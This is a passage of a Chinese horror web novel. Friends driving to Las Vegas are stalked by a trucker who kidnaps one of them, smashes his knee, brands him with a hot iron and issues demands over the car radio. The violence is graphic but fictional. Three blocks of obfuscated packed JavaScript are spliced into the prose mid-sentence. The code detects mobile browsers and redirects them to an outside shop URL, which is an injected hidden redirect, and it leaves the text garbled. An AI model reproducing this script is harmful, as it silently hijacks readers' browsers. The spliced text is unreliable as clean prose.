毕竟警察已经知道17号客房的事件和他们有关,如果再被发现他们‘借’走一辆车,那可真的是百口莫辩了。 “等等!我去拿一下地图。” 波比迅速跑回18号房,从背包里翻出昨晚看过的那张地图。 他拿着地图小跑来到桌前,将地图摊开,指着地图上的一个标志说道:“我们可以先去这个距离我们不远处的那个站点,地图上标注了有一家租车公司,说不定我们可以租借一辆车离开。” “那就听波比的。”梅尔点了点头表示同意,其他几人也顺势附和。 大家马上回到客房收拾行李放进车里。 郗涟在收拾的时候,发现之前买的那本《拉斯维加斯旅游指南》不见了。 难道是落在凯拉的车上了? 他找了几分钟都没找到,郗涟也不想再浪费时间直接背着背包坐上车。 其他几人陆续上车。 凯拉依旧坐在驾驶座上,本一声不响地拉开副驾的门坐了进去。 波比和梅尔坐在后排,五个人谁没人开口说话,都在默默等着凯拉驾驶离开这里。 本越想越烦躁。 他不过就是想开个玩笑,更何况真正有问题的是那个躲在暗处的变态,又不是他! 如果对方肯定是变态,不然哪个正常人谁会做那种事? 本越想越气,直接伸手一把扯下了车载无线电台,看也没看猛地朝窗外扔了出去。 郗涟看着本的举动,犹豫了一下还是开口说道:“本,这毕竟不是我们的车......这样不太合适吧?” 本原本几乎要压不住火气,可一抬眼对上郗涟漂亮的面容,还是把话咽了回去。 “涟,别担心,万一有什么问题我会负责赔偿的。” 此刻的氛围已经够僵了,郗涟不想因为本的一时冲动再把事情弄得更糟。 “哦哦。” 梅尔刚想嘲讽本几句,就被身旁的波比拉住了,波比对着梅尔摇了摇头,示意对方不要多说什么。 凯拉看着后视镜说道:“准备出发了,行李应该都拿好了吧?” “拿好了。” “已经拿了。” 随后,凯拉便驾驶着车朝着地图上标记的位置驶去。 郗涟趴在车窗边,目光追随着沿途掠过的陌生景致。 对于鲜少出门的他而言,这一切都充满了新鲜感。 现在仔细回想一下,自从来到这个世界后,他的活动范围几乎就局限在学校所在的这片内华达区域。 他对外界的认知,大多来源于报纸信息或旁人的只言片语。 毕竟刚“转学”来的那段日子,郗涟整个人都一头雾水,甚至有些崩溃。他不属于这里,可一场意外又让他流落至此。 最奇怪的是,这个世界所有身份信息都严丝合缝地指向自己,而那段关于另一个世界的记忆,反倒成了一场模糊又遥远的梦。 远处,绵延的公路在烈日下蒸腾起扭曲的蜃影,一直延伸到地平线与灰蓝天空模糊相接的地方。 车辆在公路上快速行驶,两侧重型卡车不断呼啸而过,密集的车流让车厢内的空气都变得紧绷。 直到“落日租车公司”的招牌出现在视野尽头,拐进院内的那一刻,几人才不约而同地松了口气。 这家出租车公司坐落在公路路口段旁,而隔壁正好是一家汽车维修站点。 就在他们从车上下来时,旁边一辆正在检修的轿车里,两个白人青年正瞪大了眼睛看着他们。 其中一个用胳膊撞了撞同伴,声音里带着夸张的哀怨:“上帝,凭什么人家出门带的不是帅哥就是美女,而我身边只有你这个蠢弟弟。” “……”我也不想。 郗涟对途中的一切都蛮新奇的,毕竟自己出来都没怎么出来玩过。 “我先下去看看车行里有没有人值班。”波比推开车门,快步走向那扇亮着灯的玻璃门。 柜台后的店员正低头整理单据,听见门口动静立刻抬起头,脸上迅速挂起微笑。 他主动上前拉开大门,就见外面站着好几个人。 “早上好,是要租车吗?”店员的目光扫过众人。 当视线落在那位黑发亚裔身上时,店员明显怔住了。 在这条荒凉公路工作了这么多年,他从未见过如此惊艳的面容。 毕竟在这里上班,闲暇时最大的娱乐也只有看看电视上的明星,可眼前这个亚裔青年长得居然比屏幕上任何一个明星要夺目。 店员也说不出来哪里好看,明明五官和气质和在审美中差太多,但是他看向对方的第一眼就是被惊艳到了。 郗涟见店员盯着自己看,有些尴尬地朝着店员礼貌一笑,没想到还反倒让对方慌乱地移开了视线。 波比注意到店员的失态,立马开口说道:“是的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033430|194585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们需要一辆车。” “哦、哦!请进,请随意挑选!”店员连忙侧身让开通道。 波比转身招呼同伴们进来,迅速说明了车辆抛锚的情况。 “这边有很多适合短途的车型,各位可以看看需要哪一款。”店员补充的同时默退到柜台后,看着几位客人介绍着产品,但视线总忍不住悄悄地看向那位亚裔青年的方向。 那道如影随形的目光让郗涟有些不自在,但他终究不好直接开口说话,直接躲在其他几人身后。 租车公司外,重型卡车拖着庞大的身躯,不时发出低沉的轰鸣,从门前公路上呼啸而过。 透过略显脏污的玻璃窗,能隐约看见里面几个人影正站在价目表前,比划着挑选车辆。 “这辆怎么样?”梅尔指着一辆基础款汽车,这车的车型虽然普通得毫无特色,但是胜就胜在不显眼。 本皱了皱眉,他对这种过于朴素的款式实在提不起兴趣了,而且开着这车去拉斯维加斯也太low了吧。 他张了张嘴刚想说些什么,一想到大家的态度还是没有多说什么。 凯拉倒是无所谓地,她现在只想尽快抵达拉斯维加斯,根本不想在路途上浪费太多时间。 郗涟倒是觉得这车还行,这个车后排空间很大不拥挤,可以睡觉休息。 梅尔看大家都‘赞同’,转头和一旁还在挑选的波比说道:“亲爱的,就选这辆吧。” “好,那就这辆吧。”波比对店员点头道,“麻烦帮我们办理租借手续,先租一周。” “好的,请稍等。”店员立刻走向柜台准备相关文件,波比也跟过去填写租赁信息。 等待的间隙,郗涟注意到远处似乎有微弱的光点一闪而过。 他眯起眼睛仔细望去,却什么也没有看到。 凯拉低头刷着手机,忽然遗憾地叹了口气:“今晚那边有派对,可惜了。” 本无所谓地耸耸肩,转而看向一直站在玻璃旁的郗涟:“涟,你在看什么?” “嗯?没什么。”郗涟收回视线,扫了一眼空旷的四周,“只是觉得这里太荒凉了,有点无聊。” “等到了拉斯维加斯,哥带你玩你没玩过的。”本一听到郗涟的话,立马挑了挑眉说道。 郗涟:“……” 连着两天,他差不多知道了本玩起来的性子,还是算了吧。 梅尔和波比办完租手续后,从店员的手上拿过车的钥匙。 “凯拉这钥匙给你吧,我去开那辆车,把车还回去。” 梅尔犹豫片刻提议:“不然我跟你一起去还车?不然你还完车还得有人接你回来。” “不用了,本跟我吧,毕竟最后一次体验古董老车的感觉了,等我们把车还回去就重新出发,继续这段美好的旅程吧。”波比语气轻松地说着,试图活跃活跃团队气氛。 本有些意外地看了眼波比,“行吧,让我感受一下最后一次风的味道。” “太好了,总算能离开这鬼地方了。”凯拉吐槽了一句无奈地笑了笑。 其余几人也都没再说什么,各自回到车上。 郗涟、凯拉和梅尔坐进了新租的车里,波比和本则继续驾驶那辆银灰色的车。 凯拉调整了一下座椅,试了试方向盘和按键:“这车还行,挺好开的。”说完便踩下油门,驶出车行,跟上了前面那辆银灰色的车。 两辆车重新回到公路上飞驰。 8. Chapter 08 银灰色的轿车在公路上飞驰着,左右两旁的车辆逐渐稀少,直至彻底消失在视野里,将车后的他们远远甩开。 郗涟发现前方那抹银灰色越来越远,忍不住对身旁的梅尔说:“他们怎么突然开这么快?” “不知道,我打电话问问。” 梅尔很担忧他们在荒凉的公路上超速行驶,万一发生意外可就糟了。 这趟旅程还没到拉斯维加斯就已经状况频出,她实在是不想再有其他麻烦出现了。 梅尔翻开折叠手机,迅速拨通波比的号码。电话刚被接通,她便质问道:“嘿!你们开那么快是想干什么?” 电话那头先是传来本兴奋的呼喊,随后才是波比带着笑意的声音:“亲爱的,怎么了?”听语气,波比显然也被车速感染了情绪。 “我问你们开这么快是干什么!”梅尔加重语气。 “本想尽快把车还回去。别担心,你们按地图上的位置开过来就好。” “好吧,注意安全,别让我太担心。” 就在梅尔和波比通话时,郗涟注意到后方有一辆卡车正不紧不慢地行驶着。 不过很快,那车就加速超了过去,直至消失在视线前方。 “没想到这一带卡车会这么多。”郗涟看着周围零星的几两辆卡车有些感叹地说道。 公路上最常见的居然是这种重型卡车,看来自己还是出行经验太少了。 郗涟正想着,这时梅尔挂断电话转头对他和凯拉说:“本那家伙飙车飙得那么快,真叫人担心。” “这样开车真的太危险了。不过他们真的还记得那栋房子的具体位置吗?” 他有些怀疑。 郗涟看着窗外的荒凉景象,这四周一片荒凉,只有石砾与沙土。如果让他来辨认方向,恐怕早就迷失在这里了。 郗涟心想着,有些不确定地说道:“我记得那附近信号很差,或许应该提醒一下波比,让他们等等我们,万一走散就麻烦了。” “你说得对!”梅尔这才想起这茬,连忙再次拨号。 可这次听筒里只传来急促的忙音。 “天哪,他们开得太快,完全把我们甩在后面了!”梅尔懊恼地放下手机。 另一边的本依旧兴奋地驾驶着轿车,在荒芜的公路上飞驰。 他们越来越快,直至四周空无一车。 波比瞥了眼后视镜,发现梅尔他们的车没有跟上。他掏出手机想打电话询问,屏幕上显示“无信号”。 “该死,这鬼地方没信号。”波比皱眉道。 本听着波比的话下意识减速:“那我们快到那个废弃屋了吧?我记得那一带就是信号盲区。” “先靠边停车,等她们赶上来再说。” “行。”本难得没在这件事上和他争执。 与此同时。 跟在波比和本后方的车突然猛地一震,车身不受控制地歪向一侧。 凯拉随即紧急刹车,将车勉强稳住后,狠狠捶了下方向盘:“搞什么鬼?!这破车怎么回事!” “我下去看看。”郗涟推开车门,脚刚落地就愣住了。 路面上零星散落着好些尖锐的钉子,而他们车的右前轮已经瘪了下去。 “车轮爆了,看起来好像是路上被人撒了钉子。” “天啊,我们也太倒霉了吧!”梅尔一脸无语地下车看着公路上钉子哀叹道。 郗涟也感到一阵无力。 为什么这趟旅程总是意外不断? 更要命的是,他们似乎永远困在这条漫长的公路上浪费时间。 “究竟是哪个混蛋干的好事?!”凯拉沉着脸,勉强将车挪到路边,更糟的是他们正巧驶入了信号盲区。 凯拉现在的心情也糟透了,她索性瘫在方向盘上自暴自弃地趴着不动。 郗涟看着空旷的公路,想起十几分钟前那辆早已远去的卡车。在这荒僻之地,还会有其他车辆经过吗? 毕竟眼下只剩他们三人,作为唯一的男性,郗涟觉得自己理应担起这份责任。 “你们就在这等我吧,我去路边看看有没有车能帮忙。”郗涟环顾四周后主动开口。 “那辛苦你了,涟。我去找找车上有没有备用的工具。真是倒霉透了!”梅尔一边回应,一边转身开始在后备箱翻找起来。 梅尔打开后备箱,备用轮胎有,千斤顶也在,可偏偏少了最关键的扳手。 “涟,看起来还差扳手,我再去车里找找看,你辛苦一下到路边看看能不能拦截一下路过的车寻求帮助。” “行,我知道了。” 黄昏的光已不再灼热,柔软地铺在绵长的公路上。 郗涟走到路边,不时回头望向不远处那辆瘫着的车。 他在心里默默祈祷能有车经过他们,不知等了多久,视野尽头真的浮出一辆卡车的影子,正朝这边缓缓驶来。 郗涟连忙站到路边,用力挥手。 不远处的那辆卡车开始减速,随后稳稳停在了他身旁。 郗涟正要开口,车窗已经摇了下来。 先入眼的是一顶压得极低的宽檐帽,帽檐投下的阴影几乎吞噬了整张面孔。 他只能瞥见对方凌厉的下颌线,和一双隐藏在阴影中如同深潭般深不见底的眼睛。 “小甜心,怎么一个人在这儿?”对方低沉沙哑地问道。 小甜心? 郗涟微微一怔,这个黏腻的称呼让他心里泛起强烈的不适。 不过他想到自己的目的还是露起礼貌的笑容,指了指不远处的车说道:“我和朋友们遇到点麻烦,能借用一下工具箱吗?” 男人扫了一眼不远处的“废车”突然笑了起来,紧接着又眼神认真地盯着郗涟说道:“当然,我很乐意帮你。” 郗涟看着对方突然发笑的举动,心里隐隐觉得古怪,涌起一丝不安。 这人怎么这么奇怪? 驾驶座上的男人盯了他一会,随后起身挪到后座,翻找了一会儿,紧接着就拿出一把扳手:“正好有这个,你们是需要这个吧?” “是的,太感谢了!”郗涟连忙说道。 男人意味深长地看了他一眼,“感谢?你要怎么谢谢我?” 郗涟被这话弄得有些无措:“那我给您一些报酬?” “这得让我好好想想。” 就在郗涟被对方盯得浑身不适,几乎想要马上离开时,对方忽然凑近车窗笑着说道: “但谁让你是甜心呢?拿去用吧,下次见。” 说话间,男人已将手中的扳手从窗口递了出来。 郗涟一眼瞥见对方手背上那道狰狞的蜘蛛纹身,他谨慎地接过工具,低声道了谢。 “下次见,甜心。”对方说完便驾车扬长而去,留下一道烟尘。 郗涟怔在原地,望着卡车消失的方向,一时回不过神来。 这里的人都这么奇怪吗? 难道这就是外国人的“热情开放”? 他摇摇头,有点没想明白。 不过刚才那一瞬间,他是真的被吓到了。 郗涟边想边庆幸地提着工具箱转身往回走。还好拿到了工具,否则又得在这荒路上耗费不少时间。 不远处,锈铁钉正懒洋洋地拧着电台按钮,目光掠过倒车镜。 后视镜里,那个小小的身影正逐渐缩成一个缓缓移动的点。 如果只有小甜甜一个人,他倒是真想直接掉头把人带走。 但转念一想,如果就这样小甜甜万一很抗拒自己怎么办? 游戏嘛,总得有点前戏才好玩。 锈铁钉踩下油门,加速驶离,随后方向盘一打,拐进一条偏僻的小路,消失在渐深的昏黄天色里。 公路上那辆银灰色的轿车继续行驶,可奇怪的是却没有见到其他车的痕迹。 “他们在磨蹭什么?开车也不至于这么慢吧!”本不满地抱怨。 话还没有说完,前方弯道突然冲出一辆卡车! 他猛地反应过来,急打方向盘,车身几乎是擦着卡车的边缘惊险避过。 “靠!哪来的疯子?!”波比从车窗看着那辆重型卡车擦过,他发现车内的司机戴着鸭舌帽和墨镜,看起来很危险。 “神经吧,车都不会开!”本都无语了,他真的很讨厌车都不会开的卡车司机,不,他最讨厌的就是卡车司机。 本加速直接开向目的地,车子缓缓驶入那栋孤零零的独栋住宅前。 波比盯着地面,眉头越皱越紧:“这里怎么有新鲜的卡车轮胎印?” 本凑近看了一眼,语气沉了下来:“该不会这么倒霉,房主正好回来了吧?” 波比一听头都大了。 他可不想因为还车又被请进警局喝咖啡。 “如果真回来了,赔点钱应该能解决。”波比环顾四周,虽然地面确实有大型车辆停留的痕迹,但整栋房子却静悄悄的,不像有人在的样子。 本已经不耐烦地踢着脚边的碎石:“行吧,不过她们到底什么时候到?这都过去半小时了!” 这时,一辆卡车正不紧不慢地从另一条土路驶来。 波比看着卡车出现的地方感到有些惊讶,那里居然还有一条能行车的路? 不过看着对方轻车熟路地往这里开来,他立刻招呼本一起下车。 毕竟是他们先擅自闯入了别人的住宅区,不管来者是不是房主,都应该先打个招呼。 等波比走上前,发现那辆卡车正是向前差点撞向他们的卡车。 波比原以为卡车司机会停车下来交涉,没想到对方竟径直朝他们开来,吓得他后退半步。 本正要发作,却被波比拉住摇了摇头,还是先确认对方身份再说。 卡车逼近到两人身旁马上就停下熄火,紧接着车门被推开。 一个戴着宽檐帽和墨镜的高大男人叼着烟走了下来,对方玩味地看着两人说道:“你们好?” “先生,非常抱歉!” 波比见对方将车停在这,以为对方是这个地方的主人连忙上前,歉意地说道;“这里的房屋和车辆的损失我们都可以赔偿。” “哦~那很感谢了。” 锈铁钉毫不在意地说着,就在他们以为没有什么事的时候,男人突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033431|194585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然毫无预兆地朝着波比挥出一记重拳。 波比甚至还没来得及反应,直接被那一拳狠狠撂倒在地。 他整个人视线开始发昏,半张脸迅速充血麻痹。 而身后的本还没从波比被突然击倒的震惊中回过神,下一秒就看见那鸭舌帽男人嘴里叼着烟,不紧不慢地从车里抽出一把沉甸甸的铁锤。 对方甚至还笑着说道:“这个铁锤是刚刚找工具箱找到的,你们有福了。” 本看着对方一步步走近,手握着铁锤,开始有些害怕得踉跄着向后退,手指发颤地去摸口袋里的手机。 “你、你想干什么?!我警告你,信不信我这就报警!” “报警?”男人甚至还有闲心抽了口烟,在飘散的烟雾里扯开一抹笑,“17号……对吧?” 本立马反应过来,原来他就是那个锈铁钉! 他只觉得自己倒霉极了,居然遇到了电台的那个疯子。 他立马转身,连滚带爬地冲向了车门。 而波比依旧瘫在地上,视野因头部重击而阵阵发黑。 他昏沉地想撑起身,四肢却软得不听使唤。 可就在意识模糊的边缘,“17号”这个词让他瞬间反应了过来。 是昨晚那个变态! 他竟然真的找上门来了。 波比捂着头求饶地说说道:“你要多少钱我都给,求求你别……” “噢~”锈铁钉拖长了语调,咧嘴一笑,“钱?我不要。” 他的视线缓缓扫过两人,像在掂量什么,“倒是你们那儿,确实有我挺中意的。” “而你们,呵。”话音未落,他手中那柄沉甸甸的铁锤直接朝波比的膝盖狠砸下去! “啊——!!”波比捂着碎裂的膝盖,疼得浑身剧烈抽搐,发出痛苦地惨叫。 刚跑回到车内的本直接被波比的惨叫声给吓懵了。 他手忙脚乱地发动车子,只想立刻逃离这里,甚至连回头看一眼的勇气都没有。 锈铁钉还以为另一个猪猡会冲上来,没想到直接就驱车离开了。 不过无所谓。 他早就在附近撒了不少钉子,根本不担心那头猪能跑多远。 “瞧瞧,你的同伴直接抛下你跑了。” 锈铁钉蹲下身,对着蜷缩在地疼得发抖的波比吐出一口烟圈道:“现在让我们看看,你另外那几个同伴会不会来救你。” 波比整个人已被剧痛席卷,根本没有余力去想其他。 他只觉得膝盖骨似乎彻底碎了,每一次呼吸都牵扯着碎裂处的锐痛。 “呵呵,省点力气,你还有用。” 锈铁钉将烟头扔在地上,用鞋尖碾灭,随后用粗麻绳将波比捆结实,像丢货物一样扔进了卡车后箱。 “那么,第一个游戏该玩点什么呢?” 他摸着下巴,似乎在认真思考,“既然喜欢恶作剧和偷车,那就让他继续恶作剧好了。” 另一边的三个人费了九牛二虎之力,终于换好了轮胎。 凯拉累得连抱怨的力气都没了,只觉得胸口憋闷得厉害。 这趟旅行简直倒霉透顶,什么乐子没找着,惊吓和苦力倒是接二连三。 郗涟也累得说不出话,他靠在车门边,胸口剧烈起伏,额前的碎发被汗水浸湿,紧紧贴在白皙的皮肤上。 梅尔坐进驾驶位,发动车子试了试,朝车外的两人喊:“快上来吧,轮胎应该没问题了。” 郗涟撑着最后一点力气拉开车门,瘫进后座,整个人精疲力尽。 凯拉拉开副驾驶的门,也沉默地瘫坐在座椅上。 三人重新上路,梅尔朝着本和波比离开的方向继续行驶。 “也不知道波比和本他们到了没有……”梅尔忧心忡忡地想着。 她是真的担心波比。 早知道自己就该和波比一起回去换车,而不是让本跟去。 波比虽然聪明,可遇上本那样随心所欲的人,恐怕也束手无策。 郗涟靠在车窗上,闭着眼试图平复翻涌的晕眩与恶心。 他摸索着掏出手机,屏幕亮起的光在昏暗车厢里显得有些刺眼。 他看了眼时间,疲惫地说道:“都这个点了,他们应该已经在等我们了吧。” 而被梅尔咬牙切齿念叨着的本,此刻正猛踩油门,驾车朝郗涟三人所在的方向疾驰。 他万万没料到,竟然会撞上那个疯子! 那家伙到底是怎么盯上他们的?! 本不敢深想,只拼命加速,只想尽快和另外三人会合,然后立刻报警! 他原以为加速前行,应该很快就能迎面遇上正往这边赶的同伴。 不过车子还没开出多远就传来刺耳的异响。 随后车子勉强蹭行了一段,随后彻底瘫在半路。 “Fuck!Fuck!” 本气得狠狠砸向方向盘,又担心那个疯子会追上来,急忙回头张望。 确认后方没有那辆卡车的影子后,他立刻推门下车,头也不回地往前狂奔。 “该死!他们到底在哪儿?!” 9. Chapter 09 梅尔拧着眉头,朝波比他们离开的方向踩下油门。他们已经在这条偏僻的路边耽误了太久,也不知道波比他们是不是已经等急了。 一旁的凯拉不想再听梅尔的念叨,直接伸手打开车载电台,连上手机,播放起事先下载好的电子音乐。 轻松跳跃的旋律很快流泻出来,迅速填满了略显沉闷的车厢。 郗涟也在熟悉的节奏里,终于一点点松弛了肩背,神色也跟着软和下来。 他想起之前准备在路上打发时间的那本《拉斯维加斯地理杂志》,便侧过身去翻自己的背包。 可找了半天,里里外外翻了好几遍,都没翻到。 难道是之前落在汽车旅馆了? ……算了。 没书看,就安安静静听会儿音乐也好。 但很快,这份短暂的宁静就被打破了。 凯拉原本正望着窗外发呆,视线却忽然捕捉到不远处一个熟悉的身影。 她下意识坐直身子,指着车窗外,语气里带着明显的困惑:“嘿!你们看那是不是本?” 郗涟听到凯拉的惊讶声,睁开眼朝她指的方向望去。 只见到不远处,确实有个模糊的人影正朝着他们的方向挥手。 郗涟眯着眼睛仔细看了一下,没想到还真的是本,可对方的状态怎么看起来有些不对劲? “本怎么会在那儿?难道他们的车也抛锚了?”梅尔也有些疑惑。 “不会吧,这么巧?”凯拉一脸诧异地说道。 就在这时,本已经喘着粗气狂奔到他们车前,梅尔立刻踩下刹车。 他脸色惨白得吓人,胸口剧烈起伏,嘴唇抖动着,似乎想说什么,却因为过度喘息,一时竟发不出完整的声音。 梅尔没看到波比的身影,立刻踩下刹车,眉头紧锁:“嘿!波比呢?你怎么一个人在这儿?” “救、救命!波、波比被那个变态抓走了!” “什么?!” “那你为什么在这儿?”梅尔身体往前倾,声音陡然拔高,她根本不愿相信本的话,可看着本一脸惊慌失措的模样,一种不祥的预感猛地攥住了她。 郗涟也震惊地追问:“你们在哪儿遇袭的?不是两个人一起的吗?” 太荒谬了,他们难道真能倒霉到这种地步?! “我、我也不知道该怎么解释,总之我是侥幸逃出来的……快!我们得赶紧找人来帮忙!” 本其实更想直接叫他们开车离开去报警,却不确信其他人会不会同意。 梅尔直接按下了车门锁,语气冷硬:“你不说实话,就别想上车。” 本吞吞吐吐道:“我们、我们本来在等你们换好车过来,结果那辆卡车突然出现……就是昨晚那个变态!他亲口承认的!好了就是这样,快开门!” “什么?!”凯拉被本的话惊得脱口而出。 这也太巧了,巧得让人后背发凉! “等等!我们之前车爆胎,就是因为路上被人撒了钉子,该不会也是那个神经病干的吧?” 郗涟一听,脊背也跟着窜上一股寒意。 天……他们到底被什么样的疯子盯上了? 梅尔脸色煞白,立刻掏出手机拨打波比的号码,可信号格空空如也,根本拨不出去。 本趁机从敞开的车窗里钻了进去。 车里另外三人仍陷在“波比被抓”的冲击里,一时间谁都没反应过来。 “我们现在该怎么办?” 郗涟忽然想起先前那个卡车司机叫他“甜心”,又联想到昨晚那场令人不安的恶作剧。 一个可怕的猜想猛地浮上心头—— 那个变态该不会还在那个电台频道吧? 凯拉听得一阵心悸,“不会吧……” 梅尔听着郗涟的猜想,直接切换了电台频道。 下一秒,一个低沉而带着磁性的声音从电台中传了出来。 “小甜甜,你在听吗?” 郗涟听到那声音的瞬间,整个人骤然僵住。 他不知所措地看向车内的其他三人,怎么回事?这里明明没有信号,那疯子到底是怎么连上电台的? 而且竟然真的有人,会因为电台里一句玩笑般的对话,对他们紧追不舍到这个地步。 疯子…… 真的是个疯子…… 本烦躁地抓了抓头发。 这声音他死都记得,就是那个男人! 不久前,他才眼睁睁看着对方活生生敲碎了波比的膝盖。 可这件事他压根没跟梅尔他们提,很大一部分原因是:他现在只想赶紧离开这鬼地方,而不是浪费时间讨论怎么救波比。 救人那是警察的事,和他无关! 凯拉也陷入沉默,目光扫过其他三人:梅尔整个人像被抽走了魂,郗涟脸色白得透明,而本则阴沉着脸眼神躲闪。 梅尔咬咬牙,不管怎么样,她都必须知道波比的下落。 她倾身靠近车载电台,声音绷得发紧:“听着!你不用一直喊什么小甜甜,快告诉我波比在哪里!你把她带到什么地方去了?!” “波比?哦~那只被朋友丢下的可怜老鼠。他确实在我这儿。想救你们的朋友可以,但得按我的规矩来。否则我可不能保证你亲爱的波比会不会‘缺’点什么。” “好,只要不伤害波比,你要什么我们去做。”梅尔压着颤音接话。 本在一旁难以置信地瞪向她。 梅尔真的打算听那个变态的指挥?那家伙可是能活生生掰断人下巴的疯子! “嘿!我们不能听他的!他就是个神经病!” “闭嘴吧,本!是不是你丢下波比自己跑回来的?不然为什么就你一个人没事?!”梅尔根本顾不得那么多,她只想确保波比平安。 郗涟沉默地看着两人争吵,凯拉也神情复杂地看着他们。 “呵呵,你们说完了吗?”锈铁钉的声音从电台里再度响起,“我觉得,亲爱的波比似乎也有话想说呢。” 锈铁钉将对讲机随手搁在桌面,转身将瘫软在地的波比拖拽到一旁。 接着,他从车库里取出一根生锈的烙铁,放到火舌上缓缓转动,直至前端泛起灼眼的暗红。 波比又累又痛,头上挨过重击,膝盖骨更是彻底碎裂,连惨叫的力气都快没了。 可视线却在此刻逐渐清晰。 他眼睁睁看着那人正不紧不慢地灼烧着什么,嘴巴被一圈圈胶带缠住,只能惊恐地从喉咙里挤出呜呜的闷叫。 波比眼睁睁看着那人拿起烧红的烙铁,语气轻松地说道:“来,和你的朋友们打个招呼吧。” 话音未落,滚烫的铁块已经按在了波比的手臂上。 “呜——!!”波比痛得全身剧烈抽搐,可连惨叫都被嘴里的布团闷成了破碎的呜咽。 而在电台的另一头。 郗涟隐隐约约听到了电台那头乌传来的呜咽声,他有些紧张和不安地说道:“你们听,那是什么声音……” 两人瞬间也不争吵了。 梅尔凑近对讲机,只听到里面传来破碎的呜咽声,她的眼泪瞬间就流了下来。 “OMG……别伤害波比!你要我们做什么才肯放过他!” 本也安静得不说话。 毕竟他可是亲眼目睹这个变态把波比的膝盖打碎! 还有医院里那副惨状……太恐怖了,那家伙根本就是个疯子! 凯拉也在一旁沉默着。 她理解梅尔的绝望,可眼下说什么都显得苍白无力。 “呵呵,看来这个招呼还是蛮有效果,这不是肯听我说话啦吗?”锈铁钉笑着说道。。 “现在,我要和小甜甜说话。”他顿了顿,声线压低,像在耳畔私语。“小甜甜,下午好啊。” 郗涟一听到这个称呼,整个人瞬间僵住。 不是……这人一直这样叫他,难道是认真的? 梅尔立刻转头看向郗涟,眼神里全是恳求:“涟,拜托!” 郗涟也别无选择。 毕竟同伴落在一个疯子手上,虽然他觉得一切肯定没那么简单,但现在只能先稳住对方。 “你好,锈铁钉……你能放了我的同伴吗?” “小甜甜。”对讲机另一头传来男人磁性的嗓音,郗涟甚至能听出那声音里含着一丝低笑。 “我很想你。” 短暂的停顿后,那声音继续响起,依旧温和,却隐隐让郗涟感到害怕:“不过在那之前我得先确定一下。你昨天,是不是和那群猪猡一起耍我呢?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033432|194585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>猪猡…… 郗涟眼神求助地看向了身旁的三人。 凯拉靠在车窗边,不知道在想些什么;本的脸色一直很差;梅尔的目光几乎要杀死本。 他硬着头皮,对着对讲机小声说道:“我很抱歉,请您别生气。” 郗涟实在是不知道该说什么好。他很怕自己说错话,会惹怒对方;更紧张的是,他从未和这样的人打过交道。 “我知道你不会这样的……我相信你。“毕竟你真的很可爱。””锈铁钉的声音温和下来,语气甚至带上了纵容w 郗涟不知所措地看着梅尔几人,他不懂锈铁钉老说这些话说什么意思。 这时,听筒里传来书页轻翻的声响。 锈铁钉慢条斯理地翻着手里那本《拉斯维加斯指南》说道:“你们是要去玩,对吗?但是在此之前……先陪我玩玩吧。毕竟老鼠犯错,就是要受到处罚的。” 郗涟马上慌乱了起来,这是什么意思? “锈铁钉,或许我们可以不用这种方式……或许我们可以好好谈谈?” 说完,他匆匆朝梅尔几人递去一个眼神:我该说什么? 锈铁钉低低笑了两声,随后语气陡然变得冷漠: “既然是小甜甜求情,我可以暂时不动他。不过,你们当中有人态度实在恶劣。我要他去阿西里酒吧,脱光衣服,然后告诉所有人。他是个变态。” 本直接炸了。 他一把抢过郗涟手中的对讲机,大吼道:“去死吧变态!我们一定会报警的!” 梅尔睁大眼睛,伸手就去撕扯本的头发:“本!你在干什么!” 郗涟和凯拉赶紧上前劝架:“冷静点!冷静点!想想波比!” 郗涟立刻关掉对讲机,整个人都在发抖。 绝不能再让争执传过去,天知道那疯子听见后会追加什么更变态的条件。 “见鬼,难道你们真要照那疯子说的做?!”本只想立刻逃离这里。 梅尔听到本的拒绝,整个人突然像被点燃的炸药,猛地从包里抽出防狼电击棒,直直对准了本的喉咙,嘶吼道:“你、马、上、照、做。” 本僵在原地,左右看去。 凯拉移开了视线,郗涟也垂着眼。 没有一个人站出来帮他说话。 郗涟喉咙发干,他完全理解梅尔,却也无法忽视本的恐惧:“所以……我们真的要去吗?” “当然。” 梅尔抹了把眼泪,一想到波比的安危重新打开对讲机说道:“锈铁钉?你在吗?” 对讲机那头传来戏谑的嗓音,“呵呵,我一直在听呢。怎么样,吵完了?做好选择了吗?” “好,我们照做……请别伤害波比。”梅尔的声音带着哽咽,眼泪滚落下来。 “很好。”锈铁钉的语气却毫无波澜,甚至透出一丝不耐,“那先把你们所有的手机都毁了。现在,立刻。我可没有耐心慢慢等。” “我靠,你真要听他的?!”本忍不住吼了出来。 